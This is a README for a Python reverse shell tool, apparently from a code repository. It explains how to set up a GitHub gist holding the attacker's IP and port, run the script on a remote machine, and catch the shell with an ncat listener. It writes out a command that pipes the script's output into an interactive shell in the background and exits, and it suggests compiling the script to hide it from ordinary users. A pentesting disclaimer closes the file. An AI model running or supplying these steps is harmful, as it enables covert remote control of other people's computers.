A python reverse shell
- Create a github gist with the ip address and the port the script will connect to.
- open reshell.py go to line 44 and replace url to your gist.
- run this script on remote machine.
$ ncat -l 3000
ββββββ ββββββ ββββββ βββ ββ ββββββ βββ βββ
βββ β βββββ β βββ β ββββ βββββ β ββββ ββββ
βββ βββ βββββ β ββββ ββββββββββββ ββββ ββββ
βββββββ βββ β β ββββββ βββ βββ β ββββ ββββ
ββββ βββββββββββββββββββββββββββββββββββββββββββββββββββ
β ββ ββββββ ββ ββ βββ β β β βββββββ ββ ββ βββ ββ βββ β
ββ β ββ β β ββ ββ β β β βββ β β β ββ β β ββ β β β
ββ β β β β β β ββ β β β β β β
β β β β β β β β β β β β β
sectasy@fs:~$
sh -c "./reshell.py | sh -i &" && exit
- You can also compile this script to make it unreadable for regular user or smth.
- Don't be a dick. This is meant to be used for pentesting or helping coworkers understand why they should always lock their computers. Please don't use this for anything malicious.